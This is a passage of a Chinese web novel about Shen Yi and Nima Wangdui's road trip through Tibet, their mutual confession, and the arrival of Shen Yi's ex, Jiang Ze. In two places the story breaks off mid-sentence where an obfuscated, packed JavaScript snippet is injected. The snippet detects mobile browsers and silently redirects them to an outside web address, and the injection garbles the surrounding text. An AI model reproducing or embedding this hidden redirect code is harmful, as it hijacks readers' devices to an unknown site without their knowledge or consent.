“需要边防证。”尼玛旺堆说,手指无意识地敲着桌子,“得去公安局办。” 于是第二天,他们出现在XXX市公.安.局.出.入.境.大.厅。这是沈翊第一次见识到“边疆”这个词的具体重 量,排队的人群里有扛着长焦相机的游客,有皮肤黝黑的货车司机,有抱着孩子的藏族妇女,每个人都捏着那 张薄薄的申请表,像握着通往另一个世界的门票。 轮到他们时,窗口后的警官看了眼尼玛旺堆的身份证,又看了眼沈翊的:“关系?” 尼玛旺堆顿了一秒:“家人。” 警官抬起眼皮,目光在两人之间扫了个来回。那目光没什么恶意,只是一种职业性的审视。沈翊感到尼玛旺堆的肩膀微微绷紧。 “去几天?” “一周左右。” “原因?” “旅游” 警.官点点头,开始在电脑上录入信息。 “身份证和无犯罪记录呢?” “这里”尼玛旺堆把相关材料交上去。 敲击键盘的声音在嘈杂的大厅里几乎听不见,但沈翊盯着那双在键盘上飞舞的手,忽然觉得这简单的录入过程 有种仪式感,他们在被系统允许,被法律承认,可以合法地并肩走向国土的边缘。 “米玛是哪位?”警.官问。 阿妈米玛啦连忙上去。警.官笑着对她说:“您看向摄像头。” “好,可以了。” 依次他们都人脸识别之后,“好了,这是你们的出入境证。”警.官递出以及打印的证件与他们的身份证。 几张薄薄的纸,盖着鲜红的公章。尼玛旺堆仔细地把证件夹进自己的钱包里层,和身份证放在一起。 “我来保管。”他说,语气不容置疑。 沈翊没有反对。他喜欢这种被照顾的感觉,不是弱势的被保护,而是一种亲密的托付,像把最脆弱的部分交给对方收藏。 走出大厅,午后的阳光刺得人睁不开眼。尼玛旺堆长长呼出一口气,白雾在冷空气中迅速消散。 “累了?” “嗯。”尼玛旺堆点头,忽然伸手揽住他的肩膀,力道很重,像在确认什么,“终于办完了。” 这个动作在大街上显得有些突兀,但尼玛旺堆做得如此自然,仿佛只是随手拂去对方肩头的灰尘。沈翊任由他揽着,两人沿着街道慢慢走,影子在身后拉得很长,偶尔交叠在一起。 德吉次仁和阿妈米玛啦跟在身后,阿妈米玛啦望着眼前的举动,有些不解,又有些痛苦。 阿妈米玛啦沉默了许久然后对女儿说:“妈妈身体不舒服,去不了高海拔地区,你跟着他们去吧。” 德吉次仁愣了片刻说:“那我陪你,给弟弟放个长假吧,休学后他一直没有好好玩过。” “也好。”阿妈米玛啦说完就开始念经。 出发是在清晨五点,天还是漆黑一片。 德吉次仁往车上塞了最后一条羊毛毯,转身拍了拍沈翊的肩旁。 “照顾好我弟弟,”她在沈翊耳边说,“也照顾好你自己。” 这话说得巧妙,把“照顾”的责任平等地分给了双方。沈翊点头,闻到她头发上淡淡的藏香味,那是祝福的味道。 尼玛旺堆检查了一遍车况,发动机在寂静中发出沉稳的轰鸣。他们坐进车里,德吉次仁和阿妈米玛啦站在院门口挥手,身影在车灯的光束里越来越小,最终融入黑暗。 开出日喀则城区后,世界骤然变得空旷。 318国道像一条灰色的带子,蜿蜒伸向群山深处。尼玛旺堆打开音乐,是低沉的藏语吟唱,衬得窗外的黑暗更加深邃。 “困了就睡。”他说,“路还长。” 沈翊没有睡。他靠在椅背上,看着窗外偶尔闪过的零星灯火。每一次灯光出现又消失,都像在提醒他:你正在离开熟悉的世界,前往某个边缘。 天快亮时,他们进入了岗巴县境内。地貌开始变化,不再是日喀则河谷的相对丰饶,而是裸露的岩石、稀疏的草甸、和远处连绵的雪峰。这里的山更加凌厉,像大地突起的脊骨。 “岗巴羊。”尼玛旺堆忽然说,指着窗外一群正在啃食枯草的羊,“全西藏最好的羊肉。” 沈翊望过去。那些羊看起来确实不同,体型更大,毛色在晨光中泛着银灰的光泽,眼神里有种野性的机警。 “晚上如果有机会,带你去吃岗巴羊火锅。”尼玛旺堆说这话时,嘴角带着笑,那是一个关于美食的、朴素的快乐承诺。 沈翊忽然意识到,这趟旅行对尼玛旺堆来说,不仅仅是陪他看风景。这是一个藏族青年在向他展示自己文化,从核心到边缘,从寺庙到旷野,从酥油茶到岗巴羊。 他们在岗巴县城短暂休整。这是一个安静得近乎停滞的小城,街道上行人稀少,藏式民居低矮而朴素。尼玛旺堆熟门熟路地把车停在一家茶馆前,掀开厚重的门帘。 热浪混着茶香扑面而来。茶馆里坐满了人,大多是肤色黝黑的男性,穿着厚重的藏袍,低声交谈着。看见尼玛旺堆和沈翊进来,交谈声停顿了片刻,几十道目光齐齐投来。 尼玛旺堆用藏语说了句什么,人群中有人回应,气氛重新松弛下来。他领着沈翊在角落坐下,点了两碗藏面和甜茶。 “他们说什么?”沈翊小声问。 “问我从哪里来,带你去哪里。”尼玛旺堆倒茶,动作从容,“我说从日喀则来,带家人去看冰川。” “家人”这个词再次出现。沈翊注意到,当尼玛旺堆说出这个词时,周围几个听到的茶客露出了友善的表情。其中一个老人甚至举了举茶杯,向他们致意。 这是一种沈翊从未体验过的接纳——不是基于法律文件,不是基于社会关系,而是基于一个简单的词汇,和说出这个词汇时的坦然。 藏面很烫,肉汤浓郁。沈翊吃得额头冒汗,尼玛旺堆看着他笑,抽了张纸巾递过去。这个动作被斜对面的茶客看见了,那是个中年汉子,他朝尼玛旺堆挤了挤眼,用藏语说了句什么。 尼玛旺堆的脸肉眼可见地红了,但他没有回避,反而回了句什么。中年汉子哈哈大笑,拍拍身边同伴的肩膀,两人笑作一团。 “他说什么?”沈翊问。 尼玛旺堆低头吃面,耳朵尖还是红的:“他说……我对你很好。” “还有呢?” “……他说,年轻人就该这样。” 沈翊明白了。那笑声里没有恶意,只有一种过来人的、善意的调侃。在这个边陲小镇的清晨茶馆里,他们的关 系被一种朴素的目光看见并承认了,不是作为社会议题,不是作为文化现象,只是作为“两个年轻人”。 这比任何正式的认可都让沈翊感到踏实。 去曲登尼玛冰川的路,是对车辆和耐心的双重考验。土路颠簸得像是要把人的骨头摇散,窗外是越来越荒凉的 景色,岩石、沙土、偶尔一丛枯黄的草。海拔表上的数字不断攀升,沈翊感到耳朵开始发闷。 “快到了。”尼玛旺堆说,但其实又开了近一个小时。 停车后,冰川并没有直接出现在眼前,而是需要继续步行,尼玛旺堆带上氧气瓶来着沈翊的手,向神山走去。 途中的艰辛沈翊不想说,但冰川出现在眼前时,那种震撼,无以言表。 沈翊抬头,然后,它出现了。 曲登尼玛冰川——藏语里“金刚太阳”的意思——在正午的阳光下闪烁着冷冽的蓝光。 沈翊,被眼前的景象震得说不出话。那不是他想象中的、洁白柔软的冰雪,而是某种更具压迫感的存在,冰舌从两山之间倾泻而下,表面布满了深邃的裂缝,颜色从边缘的透明白逐渐过渡到深处的幽蓝,像大地被撕开一道伤口,露出底下冻结了千万年的内脏。 风很大,裹挟着冰粒打在脸上,刺骨的疼。尼玛旺堆从背包里拿出两件厚重的军大衣,一件递给沈翊,一件自己穿上。 “走,靠近点看。” 他们沿着踩出的小径向冰川走去。每一步都艰难——不仅是海拔带来的喘息,还有那种面对庞然巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182999|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物时本能的敬畏。距离冰川还有几百米时,尼玛旺堆停下来,从背包里掏出两条哈达。 “给。”他把一条递给沈翊,“系在那边。” 他指向一处玛尼堆,石堆上已经系满了五色经幡,在狂风中剧烈翻飞。沈翊学着他的样子,把哈达系在一块突出的石头上。丝绸在手指间滑过,瞬间就被风拉直,像一道白色的火焰在蓝天下燃烧。 “许愿了吗?”尼玛旺堆问。 沈翊点头。 他许了什么愿?他自己也不知道。也许只是希望这一刻能停留久一点,希望这风、这光、这冰、还有身边这个人,能成为记忆里永不褪色的画面。 尼玛旺堆系好哈达,没有立刻离开。他站在玛尼堆前,双手合十,闭上眼睛。风吹起他额前的碎发,露出饱满的额头和紧闭的双眼。那一刻,沈翊觉得他不是在祈祷,而是在和某种更古老的东西对话,也许是山神,也许是冰川本身,也许是这片土地上所有曾经来过又离开的生命。 良久,尼玛旺堆睁开眼睛,转向沈翊。他的眼眶有点红,不知道是被风吹的,还是别的什么。 “我阿爸以前带我来过这里。”他说,声音被风吹得断断续续,“那时候我十岁。他指着冰川说,你看,有些东西变化得很慢,慢到你以为它是永恒的。但其实它也在动,只是用我们看不见的速度。” 他伸出手,指向冰川表面那些深邃的裂缝:“那些冰隙,每年都在变宽。也许几百年后,这里就没有冰川了。” 沈翊顺着他的手看去。冰隙像大地的皱纹,记录着时间缓慢而不可抗拒的流动。 “人会走,冰川会化,连山都会慢慢被风削平。”尼玛旺堆继续说,手放下来,握住了沈翊的手,“所以重要的是——在还能看见的时候,好好看。在还能握住的时候,好好握。” 他的手很暖,裹着沈翊冰凉的手指。 在那堵亿万吨的冰墙前,在那个连呼吸都困难的海拔上,这个简单的动作比任何誓言都有力。 他们在冰川前待了一个小时,直到手脚冻得麻木才回到车上。尼玛旺堆发动引擎,暖气慢慢充满车厢。沈翊搓着手,看着窗外渐渐远去的冰川,忽然说: “你刚才许了什么愿?” 尼玛旺堆专注地看着前路,侧脸在车窗透进的光里显得格外清晰。过了很久,他说: “我请冰川作证。” “作什么证?” “作证我今天带来的人,是我想要共度余生的人。”他说得平静,像在陈述一个事实,“如果冰川有记忆,那它就会记得——在某个冬天的中午,有一个叫尼玛旺堆的藏族青年,和一个叫沈翊的人,曾经站在它面前。” 沈翊的喉咙发紧。他想说些什么,却发现任何语言在这种直白的真诚面前都显得苍白。 下山后他们原地休整片刻,途中沈翊还提着一大桶去接山泉水,沈翊本想帮忙,但那确实很重。 车继续向南。 下一个目的地是铜湖,道路都非常便利,都通了马路,不过有些路段还是土路,但也还好,只是车轮在碎石地上压出的痕迹。 车道细窄,还是之字形非常陡峭。 “你车技很好。”沈翊由衷地说。 “练出来的。”尼玛旺堆笑,“小时候跟着阿爸练车,路比这还烂。他教我,开车不只是操控机器,是听懂土地的语言,哪里硬,哪里软,哪里只是看起来能走其实下面是空的。” 这又是一种沈翊陌生的智慧。在他原来的世界里,驾驶是一项技术,需要驾照、交规、和保险。而在这里,驾驶是一种与土地对话的能力,需要经验、直觉、和某种近乎巫术的感知。 他们并没有去看铜湖,时间不够。于是在进入铜湖的入口休息。 “到了。”尼玛旺堆停车,“想试试吗?” “试什么?” “洗澡。” 沈翊愣住了。零下十几度,海拔五千多米,在湖边……洗澡? 尼玛旺堆已经在下车,从后备箱拿出一个洗漱用品和一张棉被:“湖水是神水,能洗去罪业和病痛。不过太冷,一般人只洗洗手脸。你敢不敢?” 他的眼睛里闪着挑战的光。沈翊看着尼玛旺堆跃跃欲试的表情,一咬牙:“有什么不敢的。” 尼玛旺堆带着他去傍边的洗澡地。 嗯,意外的是,人很多。 27. 并肩前行【新增】 沈翊带着他去傍边人少的人工堆砌的池子里,这个池子是用石头堆砌而成,水清澈见底。然后,在沈翊震惊的目光中,尼玛旺堆解开衬衫扣子,露出结实的胸膛,用手舀水,从头顶浇了下去。 水泼洒的瞬间,他整个人剧烈地抖了一下,但没有出声,只是紧闭着眼,咬着牙。水珠顺着他古铜色的皮肤滚落,在阳光下闪着光。他的肌肉紧绷,青筋凸起,像一尊正在经受洗礼的铜像。 尼玛旺堆脱掉裤子留下裤衩,缓慢爬进池子里。 他长长吐出一口气,白雾在冷空气中喷出老远。然后他睁开眼,看向沈翊,眼睛亮得惊人:“该你了。” 沈翊学着他用手舀水,水很冰,他学着尼玛旺堆的样子,解开衣领,深吸一口气,然后—— 冰冷。 那不是普通的冷,是一种尖锐的、穿透性的、瞬间夺走所有体温的冷。水从头顶浇下的那一刻,沈翊觉得自己的心脏都停跳了。他无法控制地尖叫出声,但那声音在空旷的湖边显得微弱而可笑。 水浇完了。他站在那里,浑身发抖,牙齿打颤,觉得自己快要死了。然后,一双手臂环住了他。 是尼玛旺堆。他赤裸的上身紧贴着沈翊湿透的后背,体温透过两层湿透的衣料传递过来。那体温高得惊人,像一块烧红的铁。 “别动,”尼玛旺堆的声音在耳边响起,带着笑,开玩笑道,“让神水发挥作用。” 沈翊不动了。他靠在尼玛旺堆怀里,感受着那具身体的温度和力量。冷还在,但从后背传来温暖正一点点扩散,像冻土下终于渗进了春天的第一缕水流。 他们就这样站了很久,直到沈翊不再发抖。尼玛旺堆松开他,快速帮他擦干,裹上军大衣,然后才处理自己。 回到车上,暖气开到最大。沈翊裹着毯子,看着窗外安静的铜湖,忽然笑起来。 “笑什么?”尼玛旺堆问,头发还在滴水。 “笑我们像两个疯子。”沈翊说,笑得更厉害了,“在五千多米的地方用冰水洗澡。” 尼玛旺堆也笑了。他发动汽车,在引擎声中说:“不是疯子。是……活着。” 是的,活着。那种冰冷刺骨的感觉,那种濒死的错觉,那种后来从内而外泛起的暖意所有这些都在提醒他:你还活着,你的心脏还在跳,你的血液还在流,你还能感到冷和暖,还能在极端的环境里做出疯狂的决定,还能有一个人陪着你一起疯。 车驶离铜湖时,沈翊回头看了一眼。 它会记得吗?沈翊想。记得有两个男人曾在这里,用它的水浇透彼此,然后在严寒中相拥。 也许会的。就像冰川会记得他们的哈达,就像土地会记得车轮的痕迹。在这个万事万物都有记忆的高原上,他们的存在已经被记录,不是用文字,不是用影像,而是用更质朴的方式:用温度,用触碰,用共同经历的一阵风、一捧水、一次战栗。 一路上有寺庙他们就停下来去拜。 不知过了几天。 最后在康马县过夜,第二天他们去了藏扎寺。这不是游客常来的寺庙,它坐落在山谷深处,需要开很久的车才能到达。不过,幸运的是,车能开到寺庙大门前。德吉次仁提前联系了寺里的熟人,所以他们到达时,有位年轻的扎巴在门口等候。 “这是我表弟,罗布。”尼玛旺堆介绍,“在寺里学习十年了。” 罗布很瘦,穿着绛红色的僧袍,笑容腼腆。他带着他们参观寺庙,讲解壁画和佛像的故事。 他的汉语不太好,经常需要尼玛旺堆补充翻译,但那种认真讲解的神情,让沈翊想起第一次在扎什伦布寺给他讲解的尼玛旺堆。 原来,这种对文化的珍视和传承,是这个民族的共性。 寺庙很小,很快就转完了。罗布邀请他们到自己的僧舍喝茶。房间狭小但整洁,靠窗的书桌上堆满了经书,墙上贴着几张印刷的唐卡。 喝茶时,罗布问沈翊:“你觉得西藏怎么样?” 沈翊想了想,认真回答:“很像……另一个世界。节奏很慢,人们相信的东西很古老,连痛苦和快乐都很直接。” 罗布点头,用藏语对尼玛旺堆说了句什么。尼玛旺堆翻译:“他说,你想的很深远。” 这话说得很重,但沈翊听懂了其中的赞美。他看向罗布,年轻的僧人正低头吹着茶碗里的热气,侧脸在酥油灯的光里显得宁静而专注。 离开时,罗布送他们到寺门口。他忽然用生硬的汉语对沈翊说:“尼玛旺堆,很好的人。你要,好好对他。” 沈翊郑重地点头:“我会的。” 罗布笑了,那笑容干净得像山上的雪。 随即转对尼玛旺堆说了什么,他神色不自然,但还是用藏语说了什么。 最后他双手合十,微微躬身,然后转身回了寺庙,绛红色的僧袍在风中轻轻摆动。 回程的下山路很轻松。 尼玛旺堆走在前面,忽然说:“罗布小时候身体不好,差点没活下来。阿妈带他来这个寺庙拜佛,后来他病好了,就决定留下来出家。” “你支持他吗?” “支持。”尼玛旺堆说得很干脆,“每个人都有自己该走的路。罗布的路在这里,我的路在凡尘,你的路……”他停下来,回头看着沈翊,“你的路现在和我们交叉了。这就够了。” 沈翊快走几步,和他并肩:“不只是交叉。是……重合了一段。” 尼玛旺堆看着他,眼睛在下午的光线里眯起来:“一段不够。要很多段,很多年。” 他们没再说话,只是继续下山。但沈翊知道,有些话不用多说,就像罗布不用解释为什么选择出家,尼玛旺堆不用解释为什么选择留下,他也不用解释为什么选择来这里。 选择就是选择。理由藏在血液里,藏在记忆里,藏在那天早晨喝下的第一碗酥油茶里,藏在铜湖边的那阵战栗里。 路过水库,跨过山。 卡若拉冰川是另一个震撼。 它不像曲登尼玛那样遥远而孤高,而是紧邻公路,冰舌几乎要流淌到沥青路面上。旅游大巴停了一排,游客们穿着鲜艳的冲锋衣在拍照。 尼玛旺堆没有停车。“人太多了,”他说,“我们回来的时候在车里休息吧,现在我们去坐船的地方。” 坐船去拥不多寺,是这趟旅行最后一个目的地。 车开到江边的一个小码头时,是早上八点,途中他们在一个民宿休整了一夜。 清晨,雾气蒙蒙,码头上只有几条简陋的船,船夫不见踪影。后面陆陆续续来了许多车辆,都是去湖中寺庙的游客。 有一位同乡的老人看见尼玛旺堆,老人用藏语打招呼,两人聊了几句。然后老人指了指沈翊,又说了句什么。 “他问你是不是我带来的客人。”尼玛旺堆翻译,“我说是家人。” 没过一会儿,船夫就来了。 他向大家点点头,示意他们上船。船比较大,只能容纳十几个人。马达发动时,发出巨大的轰鸣,盖过了江水的声音。 船离开码头,驶向江心。 这里宽阔而平缓,江水是浅绿色的,倒映着两岸的山峦和天空。风很大,吹得人睁不开眼。尼玛旺堆让沈翊坐到自己身边,用身体替他挡住大部分风浪。 “冷吗?”他在沈翊耳边喊,声音被风声和马达声撕碎。 沈翊摇头,其实已经冻得手脚麻木。尼玛旺堆感觉到了,解开自己的藏袍,把沈翊裹进去一半。袍子里面很暖,有他的体温和味道。 船在江上行驶了大约半小时,拥不多寺渐渐出现在视野里。那是一座建在江边悬崖上的小寺庙,红白两色的墙壁在灰褐色的山岩上格外醒目。没有路通向那里,只有这个小小的码头,和从码头延伸向上的一长段石阶。 船靠岸时,船夫帮忙稳住船身。尼玛旺堆先跳下去,然后转身扶沈翊。他的手很稳,握得很紧,仿佛沈翊是什么易碎的瓷器。 “小心,石头滑。” 石阶确实滑,长满了青苔。他们走得很慢,尼玛旺堆始终走在沈翊下方一个台阶,这样如果沈翊滑倒,他会是第一个垫在下面的人。这个细节沈翊注意到了,心里某个地方软软地塌陷下去。 拥不多寺比藏扎寺还要小,只有一座主殿和几间僧舍。但它的位置实在惊人——站在寺前的平台上,脚下是奔腾的雅鲁藏布江,对岸是连绵的雪山,天空低得仿佛伸手就能摸到云。 寺里只有一个老僧人,正坐在门口晒太阳。看见他们,他点点头,继续转动手里的念珠,仿佛每天都有陌生人来访是再正常不过的事。 他们在寺里转了一圈。壁画已经很模糊了,佛像也很小,但香火很旺,酥油灯长明不灭。沈翊在佛前放了点零钱,不是出于信仰,而是出于对这份坚守的敬意,在这个交通几乎隔绝的地方,一个人,一座寺,一生。 离开时,老僧人终于开口。他说的是藏语,声音沙哑得像风吹过经幡。 尼玛旺堆听完,沉默了片刻,然后对沈翊说:“他说,江水流了千万年,寺庙在这里站了五百年,人活不过一百年。所以,不要太执着于短暂的东西。” 沈翊看向老僧人。老人已经重新闭上眼睛,手里的念珠一颗颗转过,像在丈量时间本身。 回程的船上,夕阳正沉入江面。整条江水被染成金色,波光粼粼,像一条流动的熔金之河。船马达的轰鸣声在空旷的江面上显得格外孤独,却又格外坚定,就像那个老僧人,就像这座寺庙,就像这片土地上所有在极端环境里坚持活着的人和事物。 尼玛旺堆坐在沈翊身边,看着夕阳,忽然说:“我小时候,听妈妈讲过这里。那时候还没有这个马达船,是手划的船。船夫划船,妈妈坐在船头,觉得这江宽得永远到不了对岸。” “现在呢?” “现在觉得,”尼玛旺堆转头看他,夕阳在他眼睛里点燃两簇小小的火焰,“江还是那么宽,但我知道对岸在哪里了。” 沈翊懂他的意思。对岸不是地理意义上的彼岸,是内心深刻的东西,是理解,是归宿,是那个“共度余生”的承诺。 他握住了尼玛旺堆的手。两人的手都冻得冰凉,但握在一起,就慢慢有了温度。 船靠岸时,天已经全黑了。码头亮起一盏昏暗的灯,老人站在灯下,影子拉得很长。尼玛旺堆多付了些船钱,船夫笑着推辞,最后呦不过,从怀里掏出两条已经褪色的哈达,递给他们。 “他说,”尼玛旺堆翻译,声音有些哑,“这是寺里加持过的哈达,祝我们一路平安。” 回程的车里很安静。两人都累了,但精神却异常清醒。车灯切开黑暗,照亮前方一小段路,然后黑暗又在身后合拢。沈翊看着窗外飞速后退的夜色,想起这一路上的种种,冰川的蓝,铜湖的冷水泉,寺庙的红,江水的金,还有尼玛旺堆眼睛里的光。 “谢谢你。”他忽然说。 “谢什么?” “谢谢带我看这些。”沈翊说,“不只是风景。是你……是你把这些风景背后的东西也一起给了我。” 尼玛旺堆没有立刻回答。他专注地开着车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183000|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到拐过一个弯道,才轻声说:“不是我给你的。是你自己看到的。我只是……把门打开了。” 是的,门打开了。沈翊想。不只是地理的门,是文化的门,是情感的门,是那种“原来生活还可以这样过”的可能性之门。而尼玛旺堆不仅是守门人,也是门本身,通过他,沈翊得以进入一个全新的世界。 途中卡若拉冰山打卡,随后在江孜留夜。 车在清晨回到日喀则。街道空旷,只有路灯在寒风中站立。快到家的那个路口,尼玛旺堆忽然减速,把车停在路边。 “怎么了?”沈翊问。 尼玛旺堆没有回答。他转过身,在车厢昏暗的光线里看着沈翊,看了很久。然后他倾身过来,吻了他。 这个吻和星空下的那个吻不同,没有那么急切,没有那么笨拙,而是缓慢的、深入的、带着旅途的风尘和江水的凉意。沈翊回应着他,手抚上他的后颈,感觉到他皮肤下的脉搏,和某种更深处的颤抖。 分开时,两人的呼吸都有些乱。额头相抵,在狭小的车厢里交换着温热的空气。 “沈翊,”尼玛旺堆说,声音低得几乎听不见,“这一路上,我一直在想……” “想什么?” “想如果你没有来西藏,如果你没有住进我家,如果你没有……接受我。”他顿住了,似乎在寻找合适的词,“那我的世界,就还是原来那个样子。很完整,很踏实,但也很……单调,甚至可能去当扎巴了。” 沈翊的心跳漏了一拍。 “但现在不一样了。”尼玛旺堆继续说,手指无意识地摩挲着沈翊的手背,“现在我的世界里,有你会不会高原反应的担心,有你学藏语时认真的表情,有你吃到好吃的东西时眼睛发亮的样子,有你冷的时候往我身边靠的习惯……” 他一桩桩数着,像在清点珍宝:“这些以前没有。这些是你带来的。这些让我的世界……变得更重了,但也更亮了。” 沈翊的视线模糊了。他想说些什么,但尼玛旺堆捂住了他的嘴。 “让我说完。”他说,眼睛在黑暗里亮得惊人,“我不懂什么是爱情,不懂那些诗歌和电影里说的东西。我只知道,你不在的时候,我会想你什么时候回来。你在的时候,我会想你怎么才能一直留下。这不是责任,不是义务,是……是我心里长出来的一种需要。像需要呼吸,需要吃饭,需要每天早上看见太阳升起来一样。” 他松开手,深深吸了一口气:“所以,沈翊,我不是突然爱上你的。我是在每一天里,一点一点地,发现了这件事。在教你捡牛粪的时候,在看你喝酥油茶的时候,在铜湖边抱着你的时候,在船上替你挡风的时候,每一个瞬间,都在确认这件事。” 车里安静得能听见引擎冷却的细微声响。远处传来几声狗吠,更显得这安静近乎神圣。 沈翊看着他,看着这个在星空下笨拙表白,在冰川前请天地作证,此刻在深夜的车厢里用最朴素的语言剖析自己内心的藏族青年。然后他凑过去,吻了吻尼玛旺堆的额头,像一种加冕。 “我知道了。”他说,声音平稳而坚定,“我也是一样。不是在某个瞬间突然发生的,是在每一个酥油茶的温度里,每一个藏语单词的发音里,每一次你看着我的眼神里,慢慢堆积起来的。”虽然一开始我就对你一见钟情。 他握住尼玛旺堆的手,十指相扣:“所以我们不需要承诺,不需要誓言。我们只需要……继续这样生活下去。你教我认识你的世界,我告诉你我的故事。你照顾我适应高原,我陪你扛起这个家。一天一天,一年一年。” 尼玛旺堆的眼睛红了。他猛地抱紧沈翊,力道大得几乎让人窒息。沈翊回抱着他,感觉着他的颤抖,他的体温,他胸腔里那颗跳动得如此诚实的心脏。 许久,尼玛旺堆松开他,启动汽车。车重新驶入夜色,但有什么东西已经不一样了——不是突然的改变,而是经过旅途的淬炼,经过那些冰川、湖泊、寺庙和江水的见证,变得更加坚实、更加明亮的东西。 到家时,院子里还亮着灯。德吉次仁听见车声出来,看见他们下车时的样子,了然地笑了笑。 “玩得开心吗?”她问。 “开心。”尼玛旺堆说,手很自然地搭在沈翊肩上。 德吉次仁看着他们,眼神温和:“那就好。阿妈睡了,给你们留了饭在锅里。” 他们轻手轻脚地进屋。厨房的灶台上,一锅羊肉汤还温着,旁边是热好的糌粑。两人面对面坐下,安静地吃饭,偶尔眼神交汇,不需要言语。 吃完饭,洗漱完毕,回到房间。酥油灯已经点上了,温暖的光晕铺满整个空间。尼玛旺堆铺好床,回头看沈翊站在门口,忽然笑了。 “过来。”他说,张开手臂。 沈翊走过去,被他拥入怀中。这个拥抱很紧,很暖,带着家的味道,羊毛毯的暖意,酥油灯的微光,窗外高原的风声,还有彼此身上洗不掉的、旅途的尘土与江河的气息。 “晚安。”尼玛旺堆在他耳边说。 “晚安。”沈翊回应。 他们躺下,像之前旅途中的许多个夜晚一样相拥而眠。 但今晚又有些不同,那些在旅途中说过的话,那些在冰川前许下的愿,那些在江船上交换的眼神,此刻都沉淀下来,成为这个拥抱里更深的重量。 窗外,高原的星空依然璀璨。银河横跨天际,像一条发光的道路,连接着冰川与江河,寺庙与人家,过去与未来。 而在这条道路上,有两个人的脚步,刚刚开始并肩前行。 28. 不速之客【新增】 他们旅行以及结束了。阿妈米玛啦依旧在念经。日子很平淡。 藏历新年后的第三周,春天终于有了回来的迹象,向阳的坡地上,枯草根部冒出了针尖般的绿意。尼玛旺堆蹲在院子里修补篱笆,沈翊在旁边递工具,两人有一搭没一搭地说着话。 “东边的草地该去看了,”尼玛旺堆用锤子敲实一根木桩,“雪化之后,狐狸会来掏旱獭洞,得把网补上。” 沈翊递过钉子:“哪天去?我帮你。” “明天吧,如果天气——” 他的话戛然而止。 院门外站着一个人。 那人与这个环境格格不入到了刺目的地步,驼色的羊绒大衣,剪裁合体的西裤,皮鞋擦得锃亮,手里还拉着一个银色行李箱。行李箱的轮子在土路上留下了清晰的痕迹,像一道闯入的伤口。 是江泽。 沈翊感觉时间瞬间凝固了。 手里的钉子撒了一地,叮叮当当地滚到尼玛旺堆脚边。尼玛旺堆抬起头,看看门外的陌生人,又看看沈翊瞬间苍白的脸,慢慢站了起来。 “沈翊。”江泽开口了,声音有些哑,带着长途跋涉的疲惫,“我找了你两个月。” 沈翊张了张嘴,发不出声音。这两个月,从北京到西藏,从冬天到春天,从心如死灰到重新活过来,他几乎忘记了江泽的存在。不,不是忘记,是那段记忆被新的生活覆盖了,像新雪盖住旧痕。 可现在,旧痕扒开积雪,露出底下依然溃烂的皮肉。 “你怎么……”沈翊终于找回了声音,“找到这里的?” 江泽笑了笑,那笑容里没有温度:“你忘了?我们在一起的时候,你的所有账号密码我都知道。微博定位,朋友圈照片里的建筑,还有,”他的目光扫过尼玛旺堆,“你给这个人拍的照片,背景里露出了路牌。” 沈翊感到一阵恶心。不是愤怒,是更深的、被扒光了的羞耻感。那些他以为已经愈合的伤口,原来只是被纱布盖住了,现在纱布被粗暴地扯开,露出底下从未真正结痂的皮肉。 尼玛旺堆走到了沈翊身边。他没有说话,只是站得很近,近到沈翊能感觉到他身体散发的热度。这个简单的动作让沈翊稍微稳住了呼吸。 “这位是?”江泽的目光落在尼玛旺堆身上,上下打量着,像在评估一件商品。 “尼玛旺堆。”尼玛旺堆自己回答了,声音很平,“沈翊的男朋友。” “朋友?”江泽压根没带脑子一股脑输出,“什么样的朋友,会住在一起?” “?”江泽不可置信的问,“什么朋友?” “男朋友”尼玛旺堆道。 这句话里的暗示像一把小刀,精准地刺向最敏感的位置。沈翊感到尼玛旺堆的身体绷紧了。 “江先生,”沈翊深吸一口气,向前走了一步,“我们已经分手了。你怎么找到我的,为什么来找我,都不重要。请你离开。” “分手?”江泽笑了,笑声短促而尖利,“沈翊,我们在一起七年。七年!你说分手就分手?就因为……就因为那一次错误?” “错误?”沈翊重复这个词,忽然觉得可笑,“江泽,你管那叫‘错误’?你和一个男人光着身子躺在我床上,你管那叫‘一次错误’?” 他的声音在颤抖,但不是因为软弱,而是因为愤怒,对自己曾经爱过这个人的愤怒,对此刻还要面对他的愤怒。 江泽的表情僵硬了一瞬,但很快恢复了那种掌控者的姿态:“是,我错了。我道歉,我后悔了。可是沈翊,你呢?你就没有一点错吗?七年,你给我的时间有多少?你总是加班,总是累,我们之间除了吃饭睡觉还有什 么?我需要的是一个活生生的爱人,不是一个只会给我买礼物的机器人!” 这些话像排练过无数遍,流畅而锋利。 沈翊感到心脏被刺穿了,不是因为这些话本身,而是因为他曾经也这样质疑过自己。在那些失眠的夜里,他确实问过:是不是我做得不够好?是不是我太无趣了?是不是……我根本不值得被爱? “够了。”尼玛旺堆开口了。 他的声音不大,但有一种奇特的穿透力,像一块石头投入沸腾的水,瞬间让水面平静下来。江泽和沈翊都看向他。 尼玛旺堆看着江泽,眼神平静得像在看一个不懂事的孩子:“你说完了吗?” 江泽被这种态度激怒了:“你是谁?我们之间的事轮不到你插嘴。” “我是沈翊的男朋友。”尼玛旺堆说,每个字都咬得很清楚,“他现在住在我家,我是这里的主人。所以,轮不到你在这里大声说话。” 他走向院门,不是气势汹汹,而是从容不迫。打开门,站在门边,做了一个“请”的手势:“你可以走了。” 